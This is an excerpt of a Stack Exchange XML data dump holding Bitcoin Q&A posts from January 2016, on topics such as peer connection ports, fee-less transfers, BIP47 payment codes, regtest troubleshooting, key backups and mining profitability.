  <row Id="42185" PostTypeId="1" CreationDate="2016-01-06T03:56:01.043" Score="1" ViewCount="60" Body="&lt;p&gt;I am new to concurrent programming. Can any expert throw some light on the semaphore grant that one requires before acquiring a network connection ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool OpenNetworkConnection(const CAddress&amp;amp; addrConnect, CSemaphoreGrant *grantOutbound, const char *pszDest, bool fOneShot)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also notice that while we give &lt;code&gt;onetry&lt;/code&gt; in &lt;code&gt;addnode&lt;/code&gt; command of RPC client, the grant is taken as NULL.&lt;/p&gt;&#xA;" OwnerUserId="30181" LastActivityDate="2016-01-06T03:56:01.043" Title="Help with understanding Semaphore grants in OpenNetworkConnection" Tags="|bitcoin-core|client|json-rpc|network|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42187" PostTypeId="1" CreationDate="2016-01-06T08:05:37.877" Score="1" ViewCount="404" Body="&lt;p&gt;I connected two laptops A and B to bitcoin testnet. I then manually connected B to A using &lt;code&gt;addnode&lt;/code&gt; of bitcoin-client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet of &lt;code&gt;getpeerinfo&lt;/code&gt; from B:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {&#xA;    &quot;id&quot;: 1,&#xA;    &quot;addr&quot;: &quot;172.22.94.40:18333&quot;,&#xA;    &quot;addrlocal&quot;: &quot;137.122.81.217:53818&quot;,&#xA;&#xA;  }&#xA; { &#xA;   &quot;id&quot;: 10,&#xA;   &quot;addr&quot;: &quot;54.152.9.182:18333&quot;,&#xA;   &quot;services&quot;: &quot;000000000000000&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some connection have an &lt;code&gt;addrlocal&lt;/code&gt; set and its port 53818 is randomnly chosen. I searched through the codebase for this. It looks like some &lt;code&gt;fInbound&lt;/code&gt; flag will be getting set in A. Can anyone in simple terms explain what is happening here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that a socket cannot be used for listening and sending data at the same time. Is it got to do with that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 53818 is chosen as port to send data to A, then why is there no such random choice happening in seed node connection? (like 54.152.9.182 here in example)&lt;/p&gt;&#xA;" OwnerUserId="30181" LastEditorUserId="30181" LastEditDate="2016-01-06T12:31:23.447" LastActivityDate="2016-06-04T13:41:31.303" Title="Why does ONLY some connections have 'addrlocal' in getpeerinfo output" Tags="|bitcoind|bitcoin-core|client|port|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42188" PostTypeId="2" ParentId="42187" CreationDate="2016-01-06T10:04:12.720" Score="1" Body="&lt;p&gt;I would guess addrlocal shows you your endpoint of the connection, that is your IP address and port number. For all incoming connections that would be the same as the IP address and port you are listening on, so that's why it's not displayed. In your case most likely: 137.122.81.217:8333&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what would happen if the server is multihomed.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-06T10:04:12.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42191" PostTypeId="1" CreationDate="2016-01-06T10:55:08.593" Score="4" ViewCount="599" Body="&lt;p&gt;Good evening everyone. I've been out of the cryptocurrency scene for a couple of years and I've stumbled into a minor issue. I've been trying to figure out if it will be viable to move some Bitcoin from one wallet I own to another without a fee. Specifically, I'm trying to send 0.2BTC from an Armory wallet to an Electrum wallet (latest stable versions of each client).  The 0.2 BTC is all I have in that Armory wallet at the moment and I'd ideally like to get it to Electrum intact if possible and thus without fee.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to send at 0 fees with Armory, it warns me I need 0.00012407 &quot;for the size and priority&quot; of the transaction. I am not sure how it calculated this or if it is a baseline estimate (which is pretty close to the default 0.0001 fee.), but it will allow me to send at 0 against its advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading over the description of how transaction fees are calculated my transaction seems to miss some of the &quot;gotchas&quot; that the protocol requires a fee (ie 0.2 BTC is not small enough to require fees),  the coin itself is definitely old enough as the transaction that granted it to me was from 2014 and I haven't moved it from Armory since then etc.. but when I read over a variety of articles and posts there is a lot of variety in the confidence that such a transaction would be actually be validated sans-fees.  Some older posts from 2013/2014 don't seem to be of use any longer, as it seems that transactions were more likely to be processed without a fee back then compared to now.  Others suggest that at the value I still shouldn't have much trouble or to just give it a try and see &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given the current state of Bitcoin in 2016, should I attempt to send the 0.2 BTC to myself without any fees and have a reasonable expectation of timely (within a few days ) processing?     Should I send without fees and my transaction goes unconfirmed for days, what would be the best way to &quot;cancel&quot; it and try again?  Is there another way around the problem that I've not yet considered? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance  &lt;/p&gt;&#xA;" OwnerUserId="31708" LastActivityDate="2016-08-08T13:16:59.407" Title="Able to send 0.2BTC from old to new wallet w/o fee as of 2016?" Tags="|client|transaction-fees|electrum|armory|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42192" PostTypeId="1" CreationDate="2016-01-06T11:20:19.950" Score="2" ViewCount="622" Body="&lt;p&gt;I've recently heard about &lt;a href=&quot;https://github.com/OpenBitcoinPrivacyProject/bips/blob/master/bip-0047.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&quot;Reusable Payment Codes&quot;&lt;/a&gt; (BIP 47), and it sounds like a great feature, except that I couldn't find a simple explanation of how they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody explain them please?&lt;/p&gt;&#xA;" OwnerUserId="15073" LastEditorUserId="9382" LastEditDate="2016-01-23T23:31:46.227" LastActivityDate="2016-01-23T23:31:46.227" Title="How do Reusable Payment Codes work?" Tags="|privacy|address-reuse|bip47|usability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42193" PostTypeId="1" CreationDate="2016-01-06T11:30:45.620" Score="0" ViewCount="138" Body="&lt;p&gt;I would like to test my application with all the edge cases. Could you please tell me is there a way to force fail the transaction in the testnet blockchain so I can test if my application handles that case correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the answers in advance.&lt;/p&gt;&#xA;" OwnerUserId="30772" LastActivityDate="2016-01-07T02:40:08.880" Title="Is there a way to force fail the transaction in testnet network" Tags="|transactions|testnet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42195" PostTypeId="2" ParentId="22989" CreationDate="2016-01-06T12:21:53.480" Score="3" Body="&lt;p&gt;You can also use their JSON API:&#xA;&lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt; to get updates to your already downloaded historical data.&lt;/p&gt;&#xA;" OwnerUserId="1603" LastActivityDate="2016-01-06T12:21:53.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42197" PostTypeId="1" AcceptedAnswerId="42242" CreationDate="2016-01-06T16:23:56.407" Score="0" ViewCount="485" Body="&lt;p&gt;I'm trying to send some btc to an address in Regtest mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the address where I want to send is: &lt;code&gt;mjeoXvBnD4DtZumeSJEjNJfLb4RrhpbH1H&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$  bitcoin-cli -regtest -rpcuser=bitcoinrpc -rpcpassword=Alice -rpcport=16591 sendtoaddress mjeoXvBnD4DtZumeSJEjNJfLb4RrhpbH1H 5.00&#xA;9caca4f88c6bf727f6e8599fc1012867561ff7ef34412ef1fc70457fadf08e0b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I generate a new block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$  bitcoin-cli -regtest -rpcuser=bitcoinrpc -rpcpassword=Alice -rpcport=16591 generate 1&#xA;[&#xA;    &quot;5851b3adfd810480e53fbb5dab1ce4967a50f072a5a7abe054f114839ea3501e&quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I check the amount of btc inside the address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$  bitcoin-cli -regtest -rpcuser=bitcoinrpc -rpcpassword=Alice -rpcport=16591 getreceivedbyaddress mjeoXvBnD4DtZumeSJEjNJfLb4RrhpbH1H &#xA;0.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nevertheless the transaction is well listed on listtransactions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$  bitcoin-cli -regtest -rpcuser=bitcoinrpc -rpcpassword=Alice -rpcport=16591 listtransactions&#xA;...&#xA;    {&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;address&quot; : &quot;mjeoXvBnD4DtZumeSJEjNJfLb4RrhpbH1H&quot;,&#xA;        &quot;category&quot; : &quot;send&quot;,&#xA;        &quot;amount&quot; : -5.00000000,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;fee&quot; : -0.00001860,&#xA;        &quot;confirmations&quot; : 1,&#xA;        &quot;blockhash&quot; : &quot;5851b3adfd810480e53fbb5dab1ce4967a50f072a5a7abe054f114839ea3501e&quot;,&#xA;        &quot;blockindex&quot; : 1,&#xA;        &quot;blocktime&quot; : 1452096896,&#xA;        &quot;txid&quot; : &quot;9caca4f88c6bf727f6e8599fc1012867561ff7ef34412ef1fc70457fadf08e0b&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1452096887,&#xA;        &quot;timereceived&quot; : 1452096887&#xA;    },&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a problem with my address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've generated it thanks to &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/bitcoin/main.py&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; , doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magickey = '111' # regtest mode&#xA;&#xA;priv = random_key()&#xA;&#xA;addr = privkey_to_address(priv, magickey)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance&lt;/p&gt;&#xA;" OwnerUserId="31628" LastEditorUserId="31628" LastEditDate="2016-01-06T16:34:02.357" LastActivityDate="2016-01-09T07:43:20.897" Title="Regtest: address is still at zero after sending some bitcoins" Tags="|python|regtest|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42198" PostTypeId="2" ParentId="42183" CreationDate="2016-01-06T17:00:18.503" Score="0" Body="&lt;p&gt;The coinbase transaction is on the top of the list. I was not able to verify the merkle chain because I think I have not reversed the endianess of the hash. I am using the same python code I got from the provided examples. I have not verified that this is the issue yet as I am not sure if I need to put the coinbase txn at the front or the end before the.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using dblsha(coinbase).encode('hex') perhaps there is another python method that does not reverse endianess.&lt;/p&gt;&#xA;" OwnerUserId="31696" LastActivityDate="2016-01-06T17:00:18.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42200" PostTypeId="1" CreationDate="2016-01-06T17:58:10.713" Score="10" ViewCount="2248" Body="&lt;p&gt;Am I correct that in not having our private keys written in paper or otherwise backed up we are implicitly trusting the wallet developers to keep publishing wallet versions that are capable of reading and deciphering our password-phrase? Nobody else can decypher that phrase and give us access to the bitcoins, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently had a bad experience with Mycellium wallet: i lost my Android mobile and the backup of my wallet was in a 1-year-old format (encrypted private key in paper, QR format) that the new desktop app, amazingly, would not recognise. In the meanwhile, I had moved to iPhone, where no Mycelium was available. Eventually i solved the issue by installing Mycelium in a friend's Android. Fortunately, the Android version did recognize the old encryption after scanning the QR with the camera, so I could send the money to another wallet. But this made me realise that we absolutely rely on the developers if we do not keep the private keys written somewhere, unencrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: What happens if a wallet app is discontinued and we find ourselves in 2020 with no way to install that old wallet in the 2020 standard devices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am i missing something here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="31547" LastActivityDate="2017-12-24T18:12:39.510" Title="Is it important to have an unencrypted backup of the private key?" Tags="|wallet|private-key|backup|mycelium-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42201" PostTypeId="2" ParentId="42197" CreationDate="2016-01-06T18:42:49.560" Score="0" Body="&lt;p&gt;By default, &lt;code&gt;getreceivedbyaddress&lt;/code&gt; doesn't include unconfirmed transactions. The second parameter is for the minimum number of confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either do &lt;code&gt;getreceivedbyaddress 0&lt;/code&gt;, or do &lt;code&gt;setgenerate true 6&lt;/code&gt;, and the received by should be correct.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-01-06T18:42:49.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42202" PostTypeId="2" ParentId="42200" CreationDate="2016-01-06T18:44:31.583" Score="8" Body="&lt;p&gt;It is important to be able to recover your private keys using only tools you fully control. That protects you against failure of infrastructure you would otherwise need to transfer your funds. There are lots of stories of corrupted backups, unreadable backups, and backups that didn't actually include the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing your private keys unencrypted on paper is one way of doing this. They can also be stored electronically in encrypted form, so long as you have reliable access to the encryption key and decryption tool.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-01-06T18:44:31.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42203" PostTypeId="2" ParentId="42200" CreationDate="2016-01-06T19:39:30.927" Score="2" Body="&lt;p&gt;It may be safe the assume that the most popular mobile wallet applications will still be around, or if the app does become unavailable, a user will recreate the encryption logic so you can recover your private key in the future using your passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, in most circumstances it's a good idea to have a well-hidden physical backup of your private key just in case. Printing your private key on paper and hiding it in a safe place would eliminate the risk you mentioned and only introduce the small risk (assuming you hid the paper in an adequately private place) that a malicious party finds your private key and knows what to do with it.&lt;/p&gt;&#xA;" OwnerUserId="19524" LastActivityDate="2016-01-06T19:39:30.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42204" PostTypeId="1" CreationDate="2016-01-06T21:06:49.993" Score="0" ViewCount="245" Body="&lt;p&gt;I've seen many people talking about faucets but why would a sane person do it to get less than 1 cent every 15 minutes???&lt;/p&gt;&#xA;" OwnerUserId="31726" LastActivityDate="2016-01-06T22:41:22.470" Title="Why would someone use a BTC faucet if it pays 200 satoshi every 15 minutes?" Tags="|faucets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42206" PostTypeId="2" ParentId="42204" CreationDate="2016-01-06T22:41:22.470" Score="2" Body="&lt;p&gt;There are a lot of reasons. First, you may simply want to test some functionality with some faucet coins. Second, you may think it's an excellent investment. Third, you may want to pay for some micro-transaction.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-06T22:41:22.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42207" PostTypeId="2" ParentId="42192" CreationDate="2016-01-06T23:04:29.243" Score="7" Body="&lt;p&gt;The gist of the reusable payment code BIP is that you can gain some measure of address privacy by combining BIP32 (hierarchical deterministic wallets) with Diffie-Hellman key exchange. To understand what this means, let's figure out what the current situation of bitcoin wallets is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, in the reference client, bitcoin wallets simply generated random numbers for private keys, which in turn created a bunch of random addresses. This worked great for sending and receiving, but for privacy, it's not so great. If you publish your address, for example, everyone knows exactly how much you're receiving to that address since the blockchain is a public ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next came along Deterministic Wallets from Armory. This allowed a single seed to generate a virtually infinite number of addresses. That is, you can generate a single wallet from 256 bits (or less) and get as many addresses as you need. This allowed people to send Armory watch-only wallets to each other and get paid that way. Much better for privacy since you're generally only supposed to use new addresses, but once someone is in possession of your watch-only wallet, they know all the transactions in and out of that wallet. Better than it being public, of course, but still something to be desired when it comes to financial privacy, if, say, your employer was paying you via an Armory watch-only wallet, they know exactly how much of that has been moved and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then came HD wallets (hierarchical deterministic wallets) which allow you to have multiple levels of wallets from a single seed. Now you can send one person one watch-only wallet (xpub in BIP32 parlance) and another person another watch-only wallet and they won't know anything about what the other one is doing. Again, better for privacy, but now you have to give out different watch-only wallets to everyone you're dealing with, which can get messy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reusable Payment Codes is essentially a single code (essentially an xpub from BIP32) that you can publish that creates a new wallet when combined with any other HD wallet. This works via Diffie-Hellman key exchange where the sender uses the xprv from their HD Wallet and combine that with the receiver's xpub to come up with essentially a wallet that only the receiver can open but both the sender and receiver can determine the addresses of. As part of the key exchange, the sender has to send the receiver their xpub so the payments can be bi-directional. If you need a refund, for instance, the Payment Code is symmetric so a wallet going the other way can be deterministically be known to both sides. A refund can be sent to the payment code without crazy work-arounds that typify the current bitcoin landscape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reusable Payment Codes are essentially a way to identify yourself without leaking any information about how much was received by or sent to that payment code. Addresses, deterministic wallets and HD wallets all do not have this ability.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-06T23:04:29.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42208" PostTypeId="1" CreationDate="2016-01-06T23:11:41.053" Score="5" ViewCount="1901" Body="&lt;p&gt;Running Bitcoin 0.11 on Raspberry Pi 2 (Quad core 900MHz 1GB RAM, 128GB Flash Drive for blockchain, 8GB SD Card for OS and software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain is fully synced, 13 connections.&#xA;In htop, I see I'm around 700/862MB RAM, 1/99MB Swap. 1 processor is up around 90% but the other 3 are down in the &amp;lt;5% range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I SSH into the pi (running bitcoind, no GUI) and some commands take forever to get a response. Sometimes &lt;code&gt;getinfo&lt;/code&gt; or &lt;code&gt;getpeerinfo&lt;/code&gt; will take 30-60 seconds to print out. &lt;code&gt;gettxoutsetinfo&lt;/code&gt; takes way longer: almost ten minutes!! I don't see any resources being maxed out in htop during this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is a low-power machine, maybe the UTXO set hash in the &lt;code&gt;gettxoutsetingo&lt;/code&gt; command is what's specifically taking so long in that case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I adjust any settings either in the RPi OS or bitcoin.conf to get snappier performance? Ideally I would like to run a few python scripts that use RPC, triggered by bitcoin's &lt;code&gt;blocknotify=...&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2022-04-28T01:04:55.443" Title="bitcoin-cli very slow to respond to RPC calls (Raspberry Pi)" Tags="|json-rpc|raspberry-pi|bitcoin-cli|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="42209" PostTypeId="2" ParentId="41896" CreationDate="2016-01-06T23:59:30.363" Score="1" Body="&lt;p&gt;Per the creator of BIP47 (Justus Ranvier), it's RFC2014 notation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Hash-based_message_authentication_code#Definition_.28from_RFC_2104.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Hash-based_message_authentication_code#Definition_.28from_RFC_2104.29&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2104&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rfc-editor.org/rfc/rfc2104&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2016-01-06T23:59:30.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42210" PostTypeId="1" CreationDate="2016-01-07T01:51:17.343" Score="2" ViewCount="1865" Body="&lt;p&gt;This &lt;a href=&quot;http://pt.aliexpress.com/item/Free-Fedex-btc-miner-180GH-s-bitcoin-miner-AntMiner-S1-asic-miner-for-bitcoin-mining/1722841938.html?ws_ab_test=searchweb201556_3,searchweb201644_2_10001_10002_10005_10006_10003_10004_62,searchweb201560_8,searchweb1451318400_6150&quot; rel=&quot;nofollow&quot;&gt;$10k ASIC miner&lt;/a&gt; has 1TH/s and by &lt;a href=&quot;https://alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;this hashing calculator&lt;/a&gt; (I know they're not THAT precise but...) it'll generate like $63.23 per month? Why would anyone invest in this?&lt;/p&gt;&#xA;" OwnerUserId="31731" LastEditorUserId="5406" LastEditDate="2016-01-20T20:00:47.053" LastActivityDate="2016-01-20T20:00:47.053" Title="How is mining profitable if a $10.000 ASIC will generate like $63.23 per month?" Tags="|asic|mining-profitability|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42211" PostTypeId="2" ParentId="42210" CreationDate="2016-01-07T01:58:27.060" Score="6" Body="&lt;p&gt;That particular miner is way overpriced.  Nobody should buy it at that price.  The seller either listed an incorrect price, or is very confused about the current market for mining hardware, or is hoping to find a customer who is a sucker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, the &lt;a href=&quot;https://www.bitmaintech.com/productDetail.htm?pid=0002015081407532655504JMKzsM067B&quot;&gt;Antminer S5+&lt;/a&gt; has a (claimed) hash rate about 7x higher and costs about 1/4 as much, making it about 28 times more economical.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-01-07T01:58:27.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42212" PostTypeId="2" ParentId="42193" CreationDate="2016-01-07T02:40:08.880" Score="-1" Body="&lt;p&gt;You can set fees to very low (for example 1500 for a small 1 input 1 output transaction), not zero though. That will (most likely) get your transaction to be not mined in a few days and dropped.&lt;/p&gt;&#xA;" OwnerUserId="28099" LastActivityDate="2016-01-07T02:40:08.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42213" PostTypeId="1" AcceptedAnswerId="42214" CreationDate="2016-01-07T05:00:45.357" Score="0" ViewCount="194" Body="&lt;p&gt;I connected a node &lt;code&gt;A&lt;/code&gt; to bitcoin &lt;code&gt;testnet&lt;/code&gt; (Port 18333). The node discovery happens and I see couple of connections between my node &lt;code&gt;A&lt;/code&gt; and the seed nodes. All of the sending and receiving happens between nodes ONLY via Port 18333 (I checked this in &lt;code&gt;ThreadSocketHandler&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add another node &lt;code&gt;B&lt;/code&gt; (different laptop hence different IP) to the bitcoin &lt;code&gt;testnet&lt;/code&gt;. I initiate a &lt;code&gt;addnode &amp;lt;lappyB_IP&amp;gt;:18333 onetry&lt;/code&gt; connection from &lt;code&gt;A&lt;/code&gt; and it gets accepted. But now the port &lt;code&gt;A&lt;/code&gt; uses to send data is chosen randomly by OS and NOT 18333. This can be checked by&#xA;&lt;code&gt;getpeerinfo&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We should note that both are &lt;strong&gt;outbound&lt;/strong&gt; connections from &lt;code&gt;A&lt;/code&gt; -- namely the first one is we connected to seednode and send one is we connected to another node &lt;code&gt;B&lt;/code&gt;. How come in the former data is getting sent via 18333 (default port) but in the later OS decides to chose a different port?&lt;/p&gt;&#xA;" OwnerUserId="30181" LastActivityDate="2016-01-07T14:48:54.857" Title="Why isnt a random port chosen for SEED node sockets?" Tags="|bitcoind|bitcoin-core|client|tcp|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42214" PostTypeId="2" ParentId="42213" CreationDate="2016-01-07T06:08:03.673" Score="4" Body="&lt;p&gt;All nodes are listening on port 18333 for inbound connections.  Any inbound connection will use this port.  So addrlocal will show localIP:18333.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any outbound connection will use a random port so addrlocal will show localIP:xxxxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So every connection is either random &amp;lt;----&gt; 18333  OR 18333 &amp;lt;----&gt; random.  The node that initiated the connection (out) will always use a random port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how all tcp/ip web services with known ports work.  Web servers listen on port 80 or port 443, browsers use a random local port to connect to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Should note that port 18333 is for testnet nodes. Would be 8333 for main net.  Also if on linux &lt;code&gt;netstat -ntlp&lt;/code&gt; or &lt;code&gt;netstat -ntp&lt;/code&gt; will show all tcp connections&lt;/p&gt;&#xA;" OwnerUserId="31391" LastEditorUserId="31391" LastEditDate="2016-01-07T14:48:54.857" LastActivityDate="2016-01-07T14:48:54.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42215" PostTypeId="1" AcceptedAnswerId="42216" CreationDate="2016-01-07T10:53:31.477" Score="2" ViewCount="3118" Body="&lt;p&gt;I would like to have a complete list of the historical mining difficulty of bitcoin. Preferably it would be a text list or csv, but a webpage that displays the data in any text format will do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been searching for several hours over the last couple of days with no progress. I'm quite surprised that this is so hard to find...&lt;/p&gt;&#xA;" OwnerUserId="31741" LastActivityDate="2022-09-15T15:03:41.850" Title="Where, or how, can I get a complete history of difficulty?" Tags="|difficulty|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42216" PostTypeId="2" ParentId="42215" CreationDate="2016-01-07T11:07:20.440" Score="3" Body="&lt;p&gt;You can get it for example on blockchain.info. Call up the &lt;a href=&quot;https://blockchain.info/charts/difficulty?timespan=all&quot; rel=&quot;nofollow&quot;&gt;Difficulty chart&lt;/a&gt;, switch the time-frame to &quot;All Time&quot;, then use the link labelled &quot;&lt;a href=&quot;https://blockchain.info/charts/difficulty?showDataPoints=false&amp;amp;timespan=all&amp;amp;show_header=true&amp;amp;daysAverageString=1&amp;amp;scale=0&amp;amp;format=csv&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;CSV&lt;/a&gt;&quot;, to download it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the difficulty only changes every 2016 blocks, which is re-targeted to be about 14 days, in case you wonder why there are so few data points.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-07T11:33:04.083" LastActivityDate="2016-01-07T11:33:04.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42218" PostTypeId="2" ParentId="24185" CreationDate="2016-01-07T14:15:56.643" Score="0" Body="&lt;p&gt;Here is a real world jackpot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=763510.msg13463822#msg13463822&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=763510.msg13463822#msg13463822&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2016-01-07T14:15:56.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42219" PostTypeId="2" ParentId="42215" CreationDate="2016-01-07T16:35:12.413" Score="3" Body="&lt;p&gt;The data is also stored on the block chain.  Query every 2016 blocks to see the difficulty at that time.  Here are some samples, can see block 131040 was a re-target.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoin-cli getblockhash 4032 | xargs bitcoin-cli getblock&#xA;{&#xA;    &quot;hash&quot; : &quot;00000000ca4b69045a03d7b20624def97a5366418648d5005e82fd3b345d20d0&quot;,&#xA;    &quot;time&quot; : 1294031411,&#xA;    &quot;difficulty&quot; : 1.00000000,&#xA;}&#xA;&#xA;# bitcoin-cli getblockhash 131039 | xargs bitcoin-cli getblock&#xA;{&#xA;    &quot;hash&quot; : &quot;0000000000000e6e98694ccb8247aad63aaa1e2bec5a7be14329407e4cea6223&quot;,&#xA;    &quot;time&quot; : 1308145551,&#xA;    &quot;difficulty&quot; : 567269.53016242,&#xA;}&#xA;&#xA;# bitcoin-cli getblockhash 131040 | xargs bitcoin-cli getblock&#xA;{&#xA;    &quot;hash&quot; : &quot;000000000000097aa651b8e19c448924586a8010721c8e7ea282a0272d425987&quot;,&#xA;    &quot;time&quot; : 1308145774,&#xA;    &quot;difficulty&quot; : 876954.49351354,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2016-01-07T16:35:12.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
